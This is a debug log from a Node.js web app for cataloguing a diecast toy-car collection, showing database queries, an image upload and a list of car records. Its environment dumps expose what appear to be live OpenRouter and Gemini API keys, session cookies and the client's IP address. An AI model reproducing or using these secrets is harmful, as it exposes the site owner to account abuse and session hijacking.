    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T06:34:20.078Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T06:34:20.079Z server-connect:app Executing action step identify
2026-02-04T06:34:20.079Z server-connect:app options: { provider: 'security' }
2026-02-04T06:34:20.079Z server-connect:output identity: 1
2026-02-04T06:34:20.079Z server-connect:app Executing action step restrict
2026-02-04T06:34:20.079Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:34:20.079Z server-connect:output restrict: undefined
2026-02-04T06:34:20.079Z server-connect:app Executing action step condition
2026-02-04T06:34:20.079Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T06:34:20.080Z server-connect:app Executing action step update
2026-02-04T06:34:20.080Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T06:34:20.081Z server-connect:output update: { affected: 1 }
2026-02-04T06:34:20.081Z server-connect:app Executing action step upload
2026-02-04T06:34:20.081Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T06:34:20.081Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T06:34:20.081Z server-connect:upload Process fields: 'images[]'
2026-02-04T06:34:20.081Z server-connect:upload Processing file: {
  name: 'Screenshot 2026-02-04 105359 (3).jpg',
  data: <Buffer >,
  size: 119935,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-21-20378841770186860077',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: 'cac63f008b9f8cc1270ade1530a6aec4',
  mv: [Function: mv]
}
2026-02-04T06:34:20.081Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105359_3_68f7ebf1-b491-432a-8da8-2d2beb060821.jpg',
  rel: 'public/assets/images/diecast/Screenshot_2026-02-04_105359_3_68f7ebf1-b491-432a-8da8-2d2beb060821.jpg'
}
2026-02-04T06:34:20.081Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105359_3_68f7ebf1-b491-432a-8da8-2d2beb060821.jpg',
  rel: 'assets/images/diecast/Screenshot_2026-02-04_105359_3_68f7ebf1-b491-432a-8da8-2d2beb060821.jpg'
}
2026-02-04T06:34:20.081Z server-connect:output upload_image: [
  {
    name: 'Screenshot_2026-02-04_105359_3_68f7ebf1-b491-432a-8da8-2d2beb060821.jpg',
    path: '/public/assets/images/diecast/Screenshot_2026-02-04_105359_3_68f7ebf1-b491-432a-8da8-2d2beb060821.jpg',
    url: '/assets/images/diecast/Screenshot_2026-02-04_105359_3_68f7ebf1-b491-432a-8da8-2d2beb060821.jpg',
    type: 'image/jpeg',
    size: 119935
  }
]
2026-02-04T06:34:20.081Z server-connect:app Executing action step repeat
2026-02-04T06:34:20.081Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T06:34:20.081Z server-connect:app Executing action step insert
2026-02-04T06:34:20.081Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T06:34:20.082Z server-connect:output images: { affected: 1, identity: 172 }
2026-02-04T06:34:20.082Z server-connect:output repeat_images: [ {} ]
2026-02-04T06:34:20.082Z server-connect:output condition: undefined
2026-02-04T06:34:20.295Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:34:20.295Z server-connect:app Executing action step identify
2026-02-04T06:34:20.295Z server-connect:app options: { provider: 'security' }
2026-02-04T06:34:20.295Z server-connect:output identity: 1
2026-02-04T06:34:20.295Z server-connect:app Executing action step restrict
2026-02-04T06:34:20.295Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:34:20.296Z server-connect:output restrict: undefined
2026-02-04T06:34:20.296Z server-connect:app Executing action step paged
2026-02-04T06:34:20.296Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:34:20.299Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 134,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500 - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:38:19.520Z server-connect:router Serving templateView /diecast
2026-02-04T06:38:19.520Z server-connect:app Executing action step identify
2026-02-04T06:38:19.520Z server-connect:app options: { provider: 'security' }
2026-02-04T06:38:19.521Z server-connect:output identity: 1
2026-02-04T06:38:19.521Z server-connect:app Executing action step restrict
2026-02-04T06:38:19.521Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:38:19.522Z server-connect:output restrict: undefined
2026-02-04T06:38:19.522Z server-connect:router Render template layouts/main
2026-02-04T06:38:19.522Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T06:38:20.446Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T06:38:20.446Z server-connect:app Executing action step identify
2026-02-04T06:38:20.446Z server-connect:app options: { provider: 'security' }
2026-02-04T06:38:20.446Z server-connect:output identity: 1
2026-02-04T06:38:20.446Z server-connect:app Executing action step restrict
2026-02-04T06:38:20.446Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:38:20.447Z server-connect:output restrict: undefined
2026-02-04T06:38:20.447Z server-connect:app Executing action step select
2026-02-04T06:38:20.447Z server-connect:app options: {
  connection: 'db',
  sql: {
